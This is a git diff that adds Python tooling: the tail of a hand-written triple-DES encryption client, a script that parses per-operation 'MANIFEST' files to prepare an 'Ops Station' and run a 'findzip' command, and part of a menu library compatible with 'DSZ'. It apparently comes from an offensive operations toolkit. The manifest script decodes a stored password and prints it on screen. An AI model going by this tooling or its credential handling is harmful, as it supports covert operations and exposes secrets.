[0x80108020,0x80008000,0x8000,0x108020,0x100000,0x20,0x80100020,0x80008020,0x80000020,0x80108020,0x80108000,0x80000000,0x80008000,0x100000,0x20,0x80100020,0x108000,0x100020,0x80008020,0,0x80000000,0x8000,0x108020,0x80100000,0x100020,0x80000020,0,0x108000,0x8020,0x80108000,0x80100000,0x8020,0,0x108020,0x80100020,0x100000,0x80008020,0x80100000,0x80108000,0x8000,0x80100000,0x80008000,0x20,0x80108020,0x108020,0x20,0x8000,0x80000000,0x8020,0x80108000,0x100000,0x80000020,0x100020,0x80008020,0x80000020,0x100020,0x108000,0,0x80008000,0x8020,0x80000000,0x80100020,0x80108020,0x108000] + spfunction3 = [0x208,0x8020200,0,0x8020008,0x8000200,0,0x20208,0x8000200,0x20008,0x8000008,0x8000008,0x20000,0x8020208,0x20008,0x8020000,0x208,0x8000000,0x8,0x8020200,0x200,0x20200,0x8020000,0x8020008,0x20208,0x8000208,0x20200,0x20000,0x8000208,0x8,0x8020208,0x200,0x8000000,0x8020200,0x8000000,0x20008,0x208,0x20000,0x8020200,0x8000200,0,0x200,0x20008,0x8020208,0x8000200,0x8000008,0x200,0,0x8020008,0x8000208,0x20000,0x8000000,0x8020208,0x8,0x20208,0x20200,0x8000008,0x8020000,0x8000208,0x208,0x8020000,0x20208,0x8,0x8020008,0x20200] + spfunction4 = [0x802001,0x2081,0x2081,0x80,0x802080,0x800081,0x800001,0x2001,0,0x802000,0x802000,0x802081,0x81,0,0x800080,0x800001,0x1,0x2000,0x800000,0x802001,0x80,0x800000,0x2001,0x2080,0x800081,0x1,0x2080,0x800080,0x2000,0x802080,0x802081,0x81,0x800080,0x800001,0x802000,0x802081,0x81,0,0,0x802000,0x2080,0x800080,0x800081,0x1,0x802001,0x2081,0x2081,0x80,0x802081,0x81,0x1,0x2000,0x800001,0x2001,0x802080,0x800081,0x2001,0x2080,0x800000,0x802001,0x80,0x800000,0x2000,0x802080] + spfunction5 = [0x100,0x2080100,0x2080000,0x42000100,0x80000,0x100,0x40000000,0x2080000,0x40080100,0x80000,0x2000100,0x40080100,0x42000100,0x42080000,0x80100,0x40000000,0x2000000,0x40080000,0x40080000,0,0x40000100,0x42080100,0x42080100,0x2000100,0x42080000,0x40000100,0,0x42000000,0x2080100,0x2000000,0x42000000,0x80100,0x80000,0x42000100,0x100,0x2000000,0x40000000,0x2080000,0x42000100,0x40080100,0x2000100,0x40000000,0x42080000,0x2080100,0x40080100,0x100,0x2000000,0x42080000,0x42080100,0x80100,0x42000000,0x42080100,0x2080000,0,0x40080000,0x42000000,0x80100,0x2000100,0x40000100,0x80000,0,0x40080000,0x2080100,0x40000100] + spfunction6 = [0x20000010,0x20400000,0x4000,0x20404010,0x20400000,0x10,0x20404010,0x400000,0x20004000,0x404010,0x400000,0x20000010,0x400010,0x20004000,0x20000000,0x4010,0,0x400010,0x20004010,0x4000,0x404000,0x20004010,0x10,0x20400010,0x20400010,0,0x404010,0x20404000,0x4010,0x404000,0x20404000,0x20000000,0x20004000,0x10,0x20400010,0x404000,0x20404010,0x400000,0x4010,0x20000010,0x400000,0x20004000,0x20000000,0x4010,0x20000010,0x20404010,0x404000,0x20400000,0x404010,0x20404000,0,0x20400010,0x10,0x4000,0x20400000,0x404010,0x4000,0x400010,0x20004010,0,0x20404000,0x20000000,0x400010,0x20004010] + spfunction7 = [0x200000,0x4200002,0x4000802,0,0x800,0x4000802,0x200802,0x4200800,0x4200802,0x200000,0,0x4000002,0x2,0x4000000,0x4200002,0x802,0x4000800,0x200802,0x200002,0x4000800,0x4000002,0x4200000,0x4200800,0x200002,0x4200000,0x800,0x802,0x4200802,0x200800,0x2,0x4000000,0x200800,0x4000000,0x200800,0x200000,0x4000802,0x4000802,0x4200002,0x4200002,0x2,0x200002,0x4000000,0x4000800,0x200000,0x4200800,0x802,0x200802,0x4200800,0x802,0x4000002,0x4200802,0x4200000,0x200800,0,0x2,0x4200802,0,0x200802,0x4200000,0x800,0x4000002,0x4000800,0x800,0x200002] + spfunction8 = [0x10001040,0x1000,0x40000,0x10041040,0x10000000,0x10001040,0x40,0x10000000,0x40040,0x10040000,0x10041040,0x41000,0x10041000,0x41040,0x1000,0x40,0x10040000,0x10000040,0x10001000,0x1040,0x41000,0x40040,0x10040040,0x10041000,0x1040,0,0,0x10040040,0x10000040,0x10001000,0x41040,0x40000,0x41040,0x40000,0x10041000,0x1000,0x40,0x10040040,0x1000,0x41040,0x10001000,0x40,0x10000040,0x10040000,0x10040040,0x10000000,0x40000,0x10001040,0,0x10041040,0x40040,0x10000040,0x10040000,0x10001000,0x10001040,0,0x10041040,0x41000,0x41000,0x1040,0x1040,0x40040,0x10000000,0x10041000] + + chunk = 0 + m=0 + i=0 + j=0 + temp=0 + temp2=0 + right1=0 + right2=0 + left=0 + right=0 + + keys = self.key_set + iterations = 9 + n = len(keys) + + if encrypt: + looping = (0, 32, 2, 62, 30, -2, 64, 96, 2) + else: + looping = (94, 62, -2, 32, 64, 2, 30, -2, -2) + + if encrypt and pad: + pad_len = 8 - (len(message) % 8) + message = '%s%s' % (message, chr(pad_len) * pad_len) + + length = len(message) + + result = "" + tempresult = "" + + cbcleft = ((unpack("B", iv[m])[0] << 24) | + (unpack("B", iv[m+1])[0] << 16) | + (unpack("B", iv[m+2])[0] << 8) | + unpack("B", iv[m+3])[0]) & 0xffffffff + cbcright = ((unpack("B", iv[m+4])[0] << 24) | + (unpack("B", iv[m+5])[0] << 16) | + (unpack("B", iv[m+6])[0] << 8) | + unpack("B", iv[m+7])[0]) & 0xffffffff + + m = 0 + while m < length: + left = ((unpack("B", message[m])[0] << 24) | + (unpack("B", message[m+1])[0] << 16) | + (unpack("B", message[m+2])[0] << 8) | + unpack("B", message[m+3])[0]) & 0xffffffff + right = ((unpack("B", message[m+4])[0] << 24) | + (unpack("B", message[m+5])[0] << 16) | + (unpack("B", message[m+6])[0] << 8) | + unpack("B", message[m+7])[0]) & 0xffffffff + + m += 8 + + if encrypt: + left ^= cbcleft + right ^= cbcright + else: + cbcleft2 = cbcleft + cbcright2 = cbcright + cbcleft = left + cbcright = right + + temp = ((left >> 4) ^ right) & 0x0f0f0f0f + right ^= temp + left ^= (temp << 4) & 0xffffffff + + temp = ((left >> 16) ^ right) & 0x0000ffff + right ^= temp + left ^= (temp << 16) & 0xffffffff + + temp = ((right >> 2) ^ left) & 0x33333333 + left ^= temp + right ^= (temp << 2) & 0xffffffff + + temp = ((right >> 8) ^ left) & 0x00ff00ff + left ^= temp + right ^= (temp << 8) & 0xffffffff + + temp = ((left >> 1) ^ right) & 0x55555555 + right ^= temp + left ^= (temp << 1) & 0xffffffff + + left = ((left << 1) | (left >> 31)) & 0xffffffff + right = ((right << 1) | (right >> 31)) & 0xffffffff + + for j in range(0,iterations,3): + endloop = looping[j + 1] + loopinc = looping[j + 2] + + i = looping[j] + while i != endloop: + right1 = right ^ keys[i] + right2 = (((right >> 4) | (right << 28)) ^ keys[i+1]) & 0xffffffff + + temp = left + left = right + right = temp ^ (spfunction2[(right1 >> 24) & 0x3f] | + spfunction4[(right1 >> 16) & 0x3f] | + spfunction6[(right1 >> 8) & 0x3f] | + spfunction8[right1 & 0x3f] | + spfunction1[(right2 >> 24) & 0x3f] | + spfunction3[(right2 >> 16) & 0x3f] | + spfunction5[(right2 >> 8) & 0x3f] | + spfunction7[right2 & 0x3f]) + + i += loopinc + + temp = left + left = right + right = temp + + left = ((left >> 1) | (left << 31)) & 0xffffffff + right = ((right >> 1) | (right << 31)) & 0xffffffff + + temp = ((left >> 1) ^ right) & 0x55555555 + right ^= temp + left ^= (temp << 1) & 0xffffffff + temp = ((right >> 8) ^ left) & 0x00ff00ff + left ^= temp + right ^= (temp << 8) & 0xffffffff + temp = ((right >> 2) ^ left) & 0x33333333 + left ^= temp + right ^= (temp << 2) & 0xffffffff + temp = ((left >> 16) ^ right) & 0x0000ffff + right ^= temp + left ^= (temp << 16) & 0xffffffff + temp = ((left >> 4) ^ right) & 0x0f0f0f0f + right ^= temp + left ^= (temp << 4) & 0xffffffff + + if encrypt: + cbcleft = left + cbcright = right + else: + left ^= cbcleft2 + right ^= cbcright2 + + tempresult += pack("BBBBBBBB", (left >> 24), ((left >> 16) & 0xff), + ((left >> 8) & 0xff), (left & 0xff), (right >> 24), + ((right >> 16) & 0xff), ((right >> 8) & 0xff), + (right & 0xff)) + + chunk += 8 + if chunk == 512: + result += tempresult + tempresult = "" + chunk = 0 + + result = '%s%s' % (result, tempresult) + + if not encrypt and pad: + pad_len = ord(result[-1]) + end_idx = len(result) - pad_len + result = result[:end_idx] + + return result + + + def create_keys(self, key): + + pc2bytes0 = (0,0x4,0x20000000,0x20000004,0x10000,0x10004,0x20010000,0x20010004,0x200,0x204,0x20000200,0x20000204,0x10200,0x10204,0x20010200,0x20010204) + pc2bytes1 = (0,0x1,0x100000,0x100001,0x4000000,0x4000001,0x4100000,0x4100001,0x100,0x101,0x100100,0x100101,0x4000100,0x4000101,0x4100100,0x4100101) + pc2bytes2 = (0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808,0,0x8,0x800,0x808,0x1000000,0x1000008,0x1000800,0x1000808) + pc2bytes3 = (0,0x200000,0x8000000,0x8200000,0x2000,0x202000,0x8002000,0x8202000,0x20000,0x220000,0x8020000,0x8220000,0x22000,0x222000,0x8022000,0x8222000) + pc2bytes4 = (0,0x40000,0x10,0x40010,0,0x40000,0x10,0x40010,0x1000,0x41000,0x1010,0x41010,0x1000,0x41000,0x1010,0x41010) + pc2bytes5 = (0,0x400,0x20,0x420,0,0x400,0x20,0x420,0x2000000,0x2000400,0x2000020,0x2000420,0x2000000,0x2000400,0x2000020,0x2000420) + pc2bytes6 = (0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002,0,0x10000000,0x80000,0x10080000,0x2,0x10000002,0x80002,0x10080002) + pc2bytes7 = (0,0x10000,0x800,0x10800,0x20000000,0x20010000,0x20000800,0x20010800,0x20000,0x30000,0x20800,0x30800,0x20020000,0x20030000,0x20020800,0x20030800) + pc2bytes8 = (0,0x40000,0,0x40000,0x2,0x40002,0x2,0x40002,0x2000000,0x2040000,0x2000000,0x2040000,0x2000002,0x2040002,0x2000002,0x2040002) + pc2bytes9 = (0,0x10000000,0x8,0x10000008,0,0x10000000,0x8,0x10000008,0x400,0x10000400,0x408,0x10000408,0x400,0x10000400,0x408,0x10000408) + pc2bytes10 = (0,0x20,0,0x20,0x100000,0x100020,0x100000,0x100020,0x2000,0x2020,0x2000,0x2020,0x102000,0x102020,0x102000,0x102020) + pc2bytes11 = (0,0x1000000,0x200,0x1000200,0x200000,0x1200000,0x200200,0x1200200,0x4000000,0x5000000,0x4000200,0x5000200,0x4200000,0x5200000,0x4200200,0x5200200) + pc2bytes12 = (0,0x1000,0x8000000,0x8001000,0x80000,0x81000,0x8080000,0x8081000,0x10,0x1010,0x8000010,0x8001010,0x80010,0x81010,0x8080010,0x8081010) + pc2bytes13 = (0,0x4,0x100,0x104,0,0x4,0x100,0x104,0x1,0x5,0x101,0x105,0x1,0x5,0x101,0x105) + + iterations = 3 + keys = [0] * (32 * iterations) + shifts = (0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0) + + m=0 + n=0 + + for j in range(0,iterations): + left = ((unpack("B", key[m])[0] << 24) | + (unpack("B", key[m+1])[0] << 16) | + (unpack("B", key[m+2])[0] << 8) | + unpack("B", key[m+3])[0]) & 0xffffffff + right = ((unpack("B", key[m+4])[0] << 24) | + (unpack("B", key[m+5])[0] << 16) | + (unpack("B", key[m+6])[0] << 8) | + unpack("B", key[m+7])[0]) & 0xffffffff + + m += 8 + + temp = ((left >> 4) ^ right) & 0x0f0f0f0f + right ^= temp + left ^= (temp << 4) & 0xffffffff + + temp = ((right >> 16)^ left) & 0x0000ffff + left ^= temp + right ^= (temp << 16) & 0xffffffff + + temp = ((left >> 2) ^ right) & 0x33333333 + right ^= temp + left ^= (temp << 2) & 0xffffffff + + temp = ((right >> 16)^ left) & 0x0000ffff + left ^= temp + right ^= (temp << 16) & 0xffffffff + + temp = ((left >> 1) ^ right) & 0x55555555 + right ^= temp + left ^= (temp << 1) & 0xffffffff + + temp = ((right >> 8) ^ left) & 0x00ff00ff + left ^= temp + right ^= (temp << 8) & 0xffffffff + + temp = ((left >> 1) ^ right) & 0x55555555 + right ^= temp + left ^= (temp << 1) & 0xffffffff + + temp = ((left << 8) | ((right >> 20) & 0x000000f0)) & 0xffffffff + left = ((right << 24) | ((right << 8) & 0xff0000) | + ((right >> 8) & 0xff00) | ((right >> 24) & 0xf0)) & 0xffffffff + right = temp + + for i in range(0,len(shifts)): + if shifts[i]: + left = ((left << 2) | (left >> 26)) & 0xffffffff + right = ((right << 2) | (right >> 26)) & 0xffffffff + left <<= 0 + right <<= 0 + else: + left = ((left << 1) | (left >> 27)) & 0xffffffff + right = ((right << 1) | (right >> 27)) & 0xffffffff + left <<= 0 + right <<= 0 + + left &= 0xfffffff0 + right &= 0xfffffff0 + + lefttemp = (pc2bytes0[left >> 28] | + pc2bytes1[(left >> 24) & 0xf] | + pc2bytes2[(left >> 20) & 0xf] | + pc2bytes3[(left >> 16) & 0xf] | + pc2bytes4[(left >> 12) & 0xf] | + pc2bytes5[(left >> 8) & 0xf] | + pc2bytes6[(left >> 4) & 0xf]) + + righttemp = (pc2bytes7[right >> 28] | + pc2bytes8[(right >> 24) & 0xf] | + pc2bytes9[(right >> 20) & 0xf] | + pc2bytes10[(right >> 16) & 0xf] | + pc2bytes11[(right >> 12) & 0xf] | + pc2bytes12[(right >> 8) & 0xf] | + pc2bytes13[(right >> 4) & 0xf]) + + temp = ((righttemp >> 16) ^ lefttemp) & 0x0000ffff + keys[n] = (lefttemp ^ temp) & 0xffffffff + keys[n+1] = (righttemp ^ (temp << 16)) & 0xffffffff + + n += 2 + + return keys + + +if __name__ == "__main__": + + magicclient().main() diff --git a/Linux/bin/manifest.py b/Linux/bin/manifest.py new file mode 100755 index 0000000..de8bb6d --- /dev/null +++ b/Linux/bin/manifest.py @@ -0,0 +1,332 @@ +#!/usr/local/bin/python3.3 + +import platform +import argparse +import base64 +import configparser +import os +import re +import shlex +import shutil +import subprocess +import zipfile + +try: + import menu +except ImportError: + try: + import scrub + except ImportError: + print("I cannot find menu.py, please place it in my path and try again") + raise SystemExit + +host_lin_dir = '/mnt/hgfs/host/' +local_lin_dir = '/home/black/tmp/fg/' +host_win_dir = 'X:\\' +local_win_dir = 'D:\\fg\\' + + +def str2lst(str2conv): + """ Convert a comma-separated string from type str to type list """ + + str2conv = str(str2conv) + if type(str2conv) is str: + output = [] + str2conv = str2conv.strip("[]") + str2conv = str2conv.split(",") + for item in str2conv: + item = item.strip("' ") + output.append(item) + return output + + +def check(state): + """ Check if the Manifest file has already been pulled this Op """ + + if state.check("Manifest_File") is True: + return True + else: + return False + + +def process(opname): + """ Determine the Operating System and execute the appropriate check """ + + opsys = platform.system() + manifest = '' + user_id = None + disks = None + preps = None + op_id = None + fg_tcpass = None + + if opsys == 'Windows': + (manifest, user_id, disks, preps, op_id, fg_tcpass) = wincheck(opname) + elif opsys == 'Linux': + manifest = lincheck(opname) + else: + print("\nWRONG OS!!!\n") + raise SystemExit(1) + + #print(manifest, user_id, disks, preps, op_id) + return(manifest, user_id, disks, preps, op_id, fg_tcpass) + + +def unzip(manifestdir, manifestzip): + """ Unzip the MANIFEST archive """ + + try: + cur_dir = os.getcwd() + os.chdir(manifestdir) + if zipfile.is_zipfile(manifestzip): + with zipfile.ZipFile(manifestzip) as zip: + zipfile.ZipFile.extractall(zip) + os.chdir(cur_dir) + except zipfile.BadZipFile: + pass + + +def manifest_list(manifestdir): + """ Obtain a list of all MANIFEST files and present for selection """ + + manifests = [] + dirlist = [] + newdirlist = [] + selection = None + + # Populate the list of potential MANIFESTS + dirlist = os.listdir(manifestdir) + + # Search the manifest directory for potential MANIFEST archives, unzip + # them, and then add the MANIFEST files to the list + for file in dirlist: + if re.search('.+MANIFEST.+', file): + unzip(manifestdir, file) + + newdirlist = os.listdir(manifestdir) + for item in newdirlist: + if re.search('\.MANIFEST$', item): + manifests.append(manifestdir+item) + + # If no candidates are found, do nothing. If one candidate is found, + # assume it is the correct one, as all old ones should have been + # purged by now. If multiple candidates are found, present a list + # for the user to pick from. + if len(manifests) == 0: + print("NONE FOUND") + + elif len(manifests) == 1: + print("Copied and Unzipped to {}\n".format(manifests[0])) + selection = manifests[0] + + else: + print("MULTIPLE MANIFESTS found, which should I use: ") + try: + mame = scrub.menu.Menu() + except NameError: + mame = menu.Menu() + for item in manifests: + mame.add_option(item) + selection = mame.execute(menuloop = False) + selection = selection['option'] + + return (selection) + + +def manifest_copy(opname, src_dir, dst_dir): + """ Copy manifest zips from the host directory to the local directory """ + + try: + dirlist = os.listdir(src_dir) + if src_dir == host_lin_dir: + for file in dirlist: + if re.search('.+MANIFEST.+', file): + if str(opname.upper()) in file: + shutil.copy(src_dir + file, local_lin_dir) + elif src_dir == host_win_dir: + for file in dirlist: + if re.search('.+MANIFEST.+', file): + if str(opname.upper()) in file: + shutil.copy(src_dir + file, local_win_dir) + except: + print("Error copying MANIFEST from host...") + + +def lincheck(opname): + """ Check for a MANIFEST file and return its pathname """ + + selection = None + + # Copy MANIFESTS to the correct directory first + manifest_copy(opname, host_lin_dir, local_lin_dir) + + # Generate a list and save the chosen one + selection = manifest_list(local_lin_dir) + + # In case we could not find a MANIFEST file after checking all + # potential locations, don't bother parsing + if selection == 'Exit' or selection is None: + pass + else: + linparse(selection) + + +def linparse(manifest): + """ Parse the MANIFEST and return all required parameters """ + + user_id = None + disks = None + opname = None + op_id = None + fg_tcpass = None + conn_ip = None + conn_mask = None + conn_gw = None + conn_dns = None + + config = configparser.ConfigParser() + + try: + config.read(manifest) + user_id = config.get('op', 'userid') + disks = config.get('op', 'disks') + opname = config.get('op', 'project') + op_id = config.get('op', 'schedid') + fg_tcpass = config.get('op', 'shdata') + conn_ip = config.get('connection', 'ip') + conn_mask = config.get('connection', 'netmask') + conn_gw = config.get('connection', 'gateway') + conn_dns = config.get('connection', 'dns') + + except Exception as error: + print("An error occurred while parsing the MANIFEST file --> {}". + format(error)) + + # Make sure we have everything we need first before proceeding + if not user_id: + user_id = input("Please enter your 5-digit user id: ") + if not disks: + disks = input("Please enter the desired Opsdisk(s) (comma-separated): ") + if not opname: + opname = input("Please enter the Op name: ") + if not op_id: + op_id = input("Please enter your 14-digit Op ID: ") + if not conn_ip: + conn_ip = input("Please enter your connection IP: ") + if not conn_mask: + conn_mask = input("Please enter your connection netmask: ") + if not conn_gw: + conn_gw = input("Please enter your connection gateway: ") + if not conn_dns: + conn_dns = input("Please enter your connection DNS server IP: ") + + if fg_tcpass: + try: + fg_tcpass = base64.b64decode('{}'.format(fg_tcpass)) + fg_tcpass = fg_tcpass.decode('utf-8') + except Exception: + pass + + # Pull out the relevant disk(s) from the list and convert to a usable string + dsk_lst = [] + dsk_lst = str2lst(disks) + nix_disks = [] + nix_regex = re.compile('nix|rtr|fw', re.IGNORECASE) + for disk in dsk_lst: + if re.search(nix_regex, disk): + nix_disks.append(disk) + disks = ','.join(nix_disks) + + # Extract the Op name + op_namelst = [] + op_namelst = str2lst(opname) + opname = op_namelst[0] + + # Generate the mz line + mz_line = '' + mz_line = ('findzip -d {} -s -S {} -I {} -P {} -n {} {}/{}/{}'. + format(disks, op_id, user_id, opname, conn_dns, + conn_ip, conn_mask, conn_gw)) + print("--- Prepping Ops Station ---\n") + print("({})".format(mz_line)) + + try: + # Prompt the user to run the self-generated command, enter a new + # one, or quit + print() + answer = input("Would you like me to run the above command? " + "(CTRL+C here will exit completely) ([Y]/n): ") + if re.match('^[Nn]', answer): + mz_line = input("Please enter the correct mz (findzip) line: ") + if fg_tcpass: + print("-"*61) + print("Here's a hint --> {}".format(fg_tcpass)) + print("-"*61) + except KeyboardInterrupt: + raise SystemExit + + # Set the FGTCPASS environment variable and start prepping... + os.environ['FGTCPASS'] = str(fg_tcpass) + args = shlex.split(mz_line) + mz_proc = subprocess.Popen(args).communicate() + + +def wincheck(opname): + """ Check for a MANIFEST file, prompting for a manual selection if > 1 """ + + manifest = '' + selection = None + user_id = None + disks = None + preps = None + op_id = None + fg_tcpass = None + + # Copy MANIFESTS to the correct directory first + manifest_copy(opname, host_win_dir, local_win_dir) + + # Generate a list and save the chosen one + selection = manifest_list(local_win_dir) + + if selection == 'Exit' or selection == None: + pass + else: + (manifest, user_id, disks, preps, + op_id, fg_tcpass) = winparse(selection) + + return(manifest, user_id, disks, preps, op_id, fg_tcpass) + + +def winparse(manifest): + """ Parse the MANIFEST and return all the required parameters """ + + user_id = None + disks = [] + preps = [] + op_id = None + fg_tcpass = None + + config = configparser.ConfigParser() + + try: + config.read(manifest) + user_id = config.get('op', 'userid') + disks = config.get('op', 'disks') + preps = config.get('op', 'project') + op_id = config.get('op', 'schedid') + fg_tcpass = config.get('op', 'shdata') + except Exception as error: + print("An error occurred while parsing the MANIFEST file --> {}". + format(error)) + + return(manifest, user_id, disks, preps, op_id, fg_tcpass) + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description='Process a MANIFEST file.') + parser.add_argument('OPNAME', type=str, nargs=1, help='The opname for ' + 'which to process the manifest file') + args = parser.parse_args() + opname = args.OPNAME[0] + + process(opname) diff --git a/Linux/bin/menu.py b/Linux/bin/menu.py new file mode 100755 index 0000000..3fa4cf2 --- /dev/null +++ b/Linux/bin/menu.py @@ -0,0 +1,832 @@ +## @package ops.menu +# Menu API compatible with DSZ. +# +# Provides basic menu functionality for use within DSZ, as util.menu is not DSZ optimized. +# +# Functionality is a cross-combination of stuff found in the dsz.menu API, the util.menu API, +# and non-API menus found in DSKY, DF, and PC; all as a single package API. +# +# This is meant to replace util.menu. However, the API is very different, so a drop in +# replacement is not possible. +# + +from __future__ import print_function + +import math +import numbers +import platform + +if platform.python_version_tuple()[0] == '3': + raw_input = input + +__all__ = ["Menu"] + +# This try/catch abuse let's us detect what platform we're on. +# Unfortunately, DSZ does not alter/expose anything via the "platform" module that'd make +# this easier. +_dsz_mode = False +try: + import dsz + import dsz.ui + + # Ensure DSZ functions when given Unicode. Acts as str() otherwise. + def utf8(s): + return s.encode("utf8") if type(s) is unicode else str(s) + + _dsz_mode = True +except ImportError: pass + +# If the ip module is available, provide some more standard handlers. +_util_ip_mode = False +try: + import ip + _util_ip_mode = True +except ImportError: pass + +## Default exit option text. Used multiple places, so defined here for easy updates. +EXIT = "Exit" + +def _functiontype(): + pass + +## Menu class +# +# With the extra functionality provided, an object provides a friendlier interface than +# a function call with very strict list/dict arguments would. +# +# No functionality is provided to re-order items after they're added, as this would add +# a lot of complexity for little gain as this is not a common desire. Use keyword filtering +# to make dynamically changing menus. +# +# One of the key functions pilfered both dsz.menu and util.menu is the menu option callback +# handler concept. Instead of mapping return values from the menu display, you can provide a +# function to call when the menu option is selected, allowing the menu handler to do the +# mapping. This works out especially well for menus with options that may change, either as +# the code updates with more content or the use of keyword filtering (also pilfered from +# dsz.menu) dynamically changing the content of the displayed menu (and therefore option +# ordering). +# +# Callbacks that wish to manipulate the menu state would probably be best implemented via +# a derived class, so they can easily and cleanly have a reference to the object. +# +# Stateful menus can be implemented two ways: a controllable heading block of text updated +# via a raw update function, or via stateful information provided for each menu option. +# The former requires the user code to manipulate and maintain the data, but also presents +# the data at the top of the menu before options as a configuration block. The latter +# requires use of callbacks to manipulate, but also presents the stateful information on +# the same line as the menu option, and each state text is aligned relative to other states +# within the same section. +# +# Users of this class will need only these two methods: +# - add_option() - this is the base method for populating your menu. +# - execute() - this will display and wait for input, and optionally loop until exit is selected. +# +# However, you can do more without adding your own extension code if you consider these methods +# which provide a default implementation for some common specialized tasks: +# - add_int_option() - integer input state. +# - add_hex_option() - integer input, but renders as hex. +# - add_str_option() - string input +# - add_toggle_option() - toggles between two states. +# +# One intended benefit of this class over the other implementations is the ability to change +# your menu type without re-implemeninting all of the user code to work with a different API. +# +# This class is probably not thread safe. On the other hand, DSZ doesn't support multi-threading. +# +# Use of this class can be automation friendly if default responses are filled in. +class Menu(object): + + def __init__(self): + ## Maintains a list of section names as provided so the order can be preserved + # during display. + self.__section_order = [""] + ## Maintains a mapping of section names to lists of content dictionaries. + self.__section_content = {"": []} + ## Maintains the content of the overall heading. + self.__heading = None + ## Current selection data. + # + # Only provides useful data during a callback function event. When that happens, + # contains the content dictionary for the selection. + self.__current = None + ## Curent content index; only useful during callback. + self.__current_index = None + ## Current section index; only useful during callback. + self.__current_section = None + ## Menu items from last call to display() + self.__display = None + ## Output buffer cache. + self.__output = None + ## Status for updating output buffer cache. + self.__needs_update = True + + ## Get section names. + # \return List of section names, in display order. + @property + def sections(self): + return self.__section_order + + ## Gets the current selection data. + # + # \note This only has effect inside a callback function. + @property + def current(self): + assert self.__current is not None, "This method can only be invoked from within a callback." + return self.__current + + ## Get the current selection's section. + # \return Section name. + @property + def current_section(self): + assert self.__current_section is not None, "This method can only be invoked from within a callback." + return self.__current_section + + ## Updates the current selection's option text. + # + # \param text + # New menu selection text. + # + # \note This only has effect inside a callback function. + def set_current_text(self, text): + assert self.__current_index is not None, "This method can only be invoked from within a callback." + assert type(text) is str or type(text) is unicode, "text must be str or unicode" + self.__section_content[self.__current_section][self.__current_index]["text"] = text + self.__needs_update = True + + ## Updates the current selection's state text. + # + # \param state + # New state text. + # + # \note This only has effect inside a callback function. + def set_current_state(self, state): + assert self.__current_index is not None, "This method can only be invoked from within a callback." + self.__section_content[self.__current_section][self.__current_index]["state"] = state + self.__needs_update = True + + ## Updates the current selection's callback function. + # + # \param callback + # New callback function. Function is not executed during this callback phase. + # + # \note This only has effect inside a callback function. + def set_current_callback(self, callback): + assert self.__current_index is not None, "This method can only be invoked from within a callback." + assert callable(callback), "callback must be a function" + self.__section_content[self.__current_section][self.__current_index]["callback"] = callback + + ## Updates the current selection's callback parameters. + # + # \param optdict + # Keyword arguments. + # + # \note If you change the callback parameters and don't have all the same keyword arguments + # supplied, you may end up breaking your callback if default arguments are not supplied in + # the callback definition. + def set_current_cbparam(self, **optdict): + assert self.__current_index is not None, "This method can only be invoked from within a callback." + self.__section_content[self.__current_section][self._current_index]["cbparam"] = optdict + + ## Updates the current selection's keywords. + # + # \param keywords + # New keyword list. + # + # \warning You are responsible for maintaining your own sanity. + def set_current_keywords(self, keywords): + assert self.__current_index is not None, "This method can only be invoked from within a callback." + assert type(keywords) is list, "keywords must be a list" + self.__section_content[self.__current_index]["keywords"] = keywords + self.__needs_update = True + + ## Adds a section to the menu. + # + # Sections are ordered in the order they are first submitted. You do not need to + # explicitly call this function, as add_option() will implicitly add a new section + # when called with a section name not seen before. + # + # \param section + # Section name. Note the empty string ("") is treated as a special section for menus + # that do not desire section headers. + # + # \return True if the section was added, False otherwise. This might indicate the section + # already exists. + def add_section(self, section): + assert type(section) is str or type(section) is unicode, "str or unicode string required" + + if section not in self.__section_order: + self.__section_order.append(section) + self.__section_content[section] = [] + self.__needs_update = True + return True + else: + return False + + ## Adds a menu option. + # + # Options are added to the specified section in the order they are submitted. + # + # \param option + # Option text. + # \param section + # Section name. If left default ("") it will not have a section header and go + # into the implicit "first" section. If the section does not exist, it will + # be added. + # \param keywords + # List of keywords for when this option should be displayed. Special case: the + # default empty list is an option that is always displayed, because otherwise + # the menu option could never be displayed. + # \param callback + # Pointer to a callback function. The function may either take no arguments or + # a single dictionary argument. This function will be executed when the menu + # option is selected; unless you are not using execute() for menu input in + # which case you are reliant on whatever external implementation you're using. + # \param state + # Optional text for use with menus where each option maintains a state (as opposed + # to a paragraph at the top of the menu). Manipulating state will require use of + # callbacks. The benefit of using state instead of updating the option text itself + # is that the display system will attempt to align state text per section in a clean way. + # \param hex + # Set to true if state is storing a hex value. This will alter the display of the + # state content. + # \param optdict + # Any addtional keyword arguments supplied are passed as-is to the specified callback + # function when this option is selected. + def add_option(self, option, section="", keywords=[], callback=None, state=None, hex=False, **optdict): + assert type(section) is str or type(section) is unicode, "str or unicode string required" + assert type(option) is str or type(option) is unicode, "str or unicode string required" + assert callback is None or type(callback) is type(_functiontype) or type(callback) is type(self.add_option), "callback must be a function, instancemethod, or None" + + self.add_section(section) + self.__section_content[section].append({"text": option, "keywords": keywords, "callback": callback, "cbparam": optdict, "state": state, "hex": hex}) + + self.__needs_update = True + + ## A default callback mechanism for handling stateful menu options with string values. + # + # This is the function used by add_str_option(). When asking for input, the current + # state is used as the default prompt response unless you set a diffrent default. + # + # \param allowempty + # Whether or not to allow empty strings as valid responses. If an empty string is + # returned, the input will loop. Note that when a menu state has a non-empty string + # and is used as the default response that it is impossible to obtain an empty + # string back. + # \param default + # Set to None to do normal behavior of providing the current state as the default + # prompt response. Set to anything else, provides that text as the default. Note + # that if you want to allow empty strings as input you'll need to provide one as + # the default here, or you'll get the current state back. + def callback_str(self, allowempty=False, default=None): + result = None + while True: + result = self.__raw_input('New value for "%s"' % self.current["text"], self.current["state"] if default is None else default) + if result or (result == "" and allowempty): break + self.set_current_state(result) + + ## Adds a string input stateful menu option. + # + # This will add a menu option that has a state, and uses a default callback function + # to get new values for the state. This is provided as a convenience mechanism for + # common tasks. + # + # \param option + # Option text. + # \param state + # State text, not optional. Behaves the same as when state is supplied in add_option(). + # \param section + # Optional section name. See add_option() documentation. + # \param keywords + # Optional keywords as used in add_option(). + # \param allowempty + # Whether or not to allow empty strings as valid responses. If an empty string is + # returned, the input will loop. Note that when a menu state has a non-empty string + # and is used as the default response that it is impossible to obtain an empty + # string back. + # \param default + # Set to None to do normal behavior of providing the current state as the default + # prompt response. Set to anything else, provides that text as the default. Note + # that if you want to allow empty strings as input you'll need to provide one as + # the 